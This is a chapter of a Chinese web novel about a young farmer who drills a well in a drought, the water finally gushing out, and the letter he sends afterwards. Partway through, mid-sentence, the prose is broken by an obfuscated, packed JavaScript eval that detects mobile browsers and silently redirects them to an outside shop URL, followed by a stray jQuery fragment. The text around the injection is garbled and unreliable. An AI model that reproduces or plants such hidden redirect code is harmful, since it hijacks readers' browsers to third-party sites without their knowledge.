第37章「出水那天」
麦种下地之后，天就没下过雨。头半个月还能等，日头一天比一天毒，地里的墒情一天比一天差。土面从湿变干，从干变裂，裂缝从头发丝那么细慢慢撑成了筷子尖那么宽。陈远山每天早晚去地里看一次，蹲下来用手指插进土里试探湿度——指尖碰到的一律是干而硬的颗粒，像是被反复晒过的瓦片碎片，棱角分明，没有一丝潮气。麦苗出得很稀，出苗率不到三成，出了的也长不高，叶子从叶尖开始卷，卷成细小的黄褐色的筒状，像是被火燎过之后慢慢收拢的手指。他蹲在地头看着那些苗，蹲了很久，久到膝盖压出两个深坑，然后他站起来去了镇上。
打井队的设备运到村东那天，半个村的人都出来看了。一台钻机放在平板车上，铁架子的部件被卸下来一件一件地拼装，金属碰撞的声音在山坳里来回弹跳，像是什么东西正在被反复地组合和拆解。队长姓刘，黑脸，说话快，蹲在地头用手抓了一把土看了看，又往土里吐了口唾沫试了试吸水速度。他的手指在土面上按了按，又抬起手来看了看沾在指腹上的土，搓了一下，说："打到三十米，不一定出水。钱不退。"陈远山从口袋里掏出一沓钱——他爹这些年攒的，加上他自己上学期省下来的助学金，加上前阵子卖了一部分试验田收成的粮钱。他把钱数了两遍，才递过去："打。"
钻机响了三天三夜。头一天围观的村民多，蹲在远处的树荫底下，看钻杆往地里钻的时候发出沉闷的"嗡嗡"声，铁架子被震得微微颤动，每一次钻头下降都会带出一小段灰白色的碎土。第二天人少了一些，只剩下几个老人还坐在树底下，有一搭没一搭地聊着，目光偶尔落在钻机的方向，又收回来。第三天傍晚，钻杆下去二十多米了，带出来的泥土还是干的。灰白色的碎屑从钻头两侧翻上来，落在地上就散开了，像粉末一样，没有黏性，没有湿气。远处有人喊了一句"败家子"，那三个字顺着风飘了过来，陈远山正蹲在钻机旁边，手里捧着一把刚打上来的土，土碎得像面粉一样从指缝里往下漏。他爹坐在井口对面的树下，靠着树干，烟一袋接一袋地抽，烟杆里的火星暗了又亮，亮了又暗，像一盏快要熄了的灯被人反复拨着芯，他的脸被烟气罩着，看不清表情，但他坐在那里没有走。
第三天夜里，钻机的声音变了。陈远山靠在井口边的铁架上打盹，连续三天没怎么合眼，眼皮刚粘上就听见钻杆的声音从沉闷的"嗡嗡"变成了另一种——更轻、更松，像是有什么东西被戳透了。他睁开眼站起来，往井口探身，钻杆的震动减轻了，操作钻机的工人也停了手，弯下腰凑近井口听。然后水涌上来了。先是一股混着泥沙的黄水，从钻杆和井壁的缝隙里顶出来，漫过井口边沿往低处淌，像是有什么被压抑了很久的东西终于找到了出口。然后水变清了——清亮亮的，在钻机的灯光里泛着碎光，喷起来大约两米高，像一根被拧开的水管朝天上喷。水落在井口周围，溅起泥点，落在陈远山的脸上、肩上、前胸上，凉的。他站在那里被淋了一身，没有躲。
他瘫坐在地上。泥浆从他坐的位置往四周扩散，浸透了他的裤子。他的后背靠着一块翻出来的大石头，石头表面是凉的，但隔着泥浆他不太能分辨那是什么温度。他仰着头看那根水柱在夜空里闪着光，水珠散开又落下，落在他的眼皮上、嘴唇上，他舔了一下——淡的，没有咸味，没有涩味。他咽下去了。有人从村口跑起来，先是两个，然后五个，然后十多个。村里人端着碗从家里出来，有人还拿着筷子，有人披着外套，有人光着一只脚踩在泥地上。他们围在井口外面，隔着一段距离看那根水柱。陈远山还坐在地上，泥浆在他周围慢慢往下渗，水柱在他头顶上方哗哗地响。
他爹端着一碗面走过来。面是热汤面，碗口冒着白汽，细面条搁在汤里，汤面上浮着几点油星和一小撮葱花。他爹端着碗走到陈远山面前蹲下来，膝盖和肩膀之间挤出一个凹槽，他把碗放在凹槽里腾出手扶了一下膝盖站稳了，然后把碗递过去："吃。"陈远山看着那碗面，碗是他家的粗瓷碗，碗沿有一道细小的缺口，缺口旁边沾着一点葱花的绿。他伸手接过碗的时候手在抖，碗沿碰着他的嘴唇时烫了一下，他缩回去，又递上去。他夹起一筷子面送进嘴里——汤的鲜味从舌尖往喉咙里滑，咸的、热的，混着葱花被热汤烫过之后的香气。第二口，第三口，面咽下去的时候喉咙被汤的热气和别的东西一起堵住了，他的咀嚼动作变得不规律，肩膀开始动。那口面含在嘴里，他没有力气咽下去，眼泪顺着脸颊淌到嘴角，和汤混在一起，又被他吃进去了。他嚎啕大哭。那个哭声在夜里的山坳里传得很远，不是之前那种压着的、闷在喉咙里的，是从胸腔最底下顶出来的，连续不断的，带着喉咙摩擦的声音，像一口井被凿穿了之后水涌出来时带着的那种粗粝的、原始的回响。他坐在泥浆里，碗还端在手里，面汤洒了一些在裤子上，但没有松手。他嘴里含着面，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17980251|214810||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
哭着说："爹……地能活了。"他爹蹲在他旁边，一只手搭在他背上，掌心粗糙，隔着单衣贴着他的脊梁骨，拍了两下。"哭啥，"他爹的声音从烟熏过的嗓子里挤出来，也被什么泡软了一些，"水出了。"
水柱还在喷。有村民拿着空碗凑过去接水，水溅在碗沿上，溅在手背上，他们用舌头舔了一下手背上的水，有人点头，有人咧嘴笑，有人端着碗回到人堆里喊了一嗓子："是甜水！不是咸的！"
天亮的时候钻机停了，井口用石板盖了一半，水从预留的管口里源源不断地往外流，淌成一条细渠，沿着田埂往麦田的方向走。水流过的地方，干裂的土面颜色慢慢变深，那些裂缝的边缘正在被水分重新连接起来。陈远山坐在井口边沿，手按在井壁上，石头的凉意透过掌心。他爹蹲在他旁边，烟杆里换了新烟丝，点着了，吸了一口。一个村民从他身后走过来——就是那个扛着铁锹的——在他旁边站了一会儿，然后开口，声音不大："远山先生，这水……能浇几亩？"
那三个字落进风里。陈远山没有回头，手还按在石头上，能感觉到井口里透上来的水汽，凉丝丝的，带着新打出来的泉水的气味。他的裤子上泥浆干了大半，结了硬壳，他没有去抖掉。
那天下午他把一封信寄了出去。信是写在从作业本上撕下来的纸上，纸边没有裁齐，但字写得大——"水"，一个字，在纸的正中央，笔画的墨迹比平时深，像是他握着笔的时候用了更多的力。他把纸折好放进信封里，投进了镇上的邮筒。铁皮邮筒的投信口合上时发出"咔嗒"一声，和过往的每一封信一样轻，但那封信的重量似乎比看起来沉得多。
苏晴琬在研究所拆信的时候是午休时间。走廊里没有人，她开了自己的储物柜，从里面拿出那封信，拆开封口的时候指腹碰到了信封内侧的胶痕，纸纤维被撕开时发出一道短促的"嘶"。她把信纸抽出来，纸面上只有一个字。她看了三秒，然后笑了——那个笑先出现在嘴角，然后眼睛弯了，她用手挡了一下嘴，但挡不住。她用剪刀把那个字从信纸上裁了下来，在背面涂了胶水，贴在办公桌的挡板上，和之前那封写着"土"的信放在一起，一个在左，一个在右。她退了一步看了一会儿，又坐回去继续整理手边的资料，但这天下午她抬头看了那两个字好几次。每一次看，那两个字的轮廓在她目光中停留的时间都比前一次稍长一些，仿佛它们正在被反复书写，重新确认彼此的位置关系。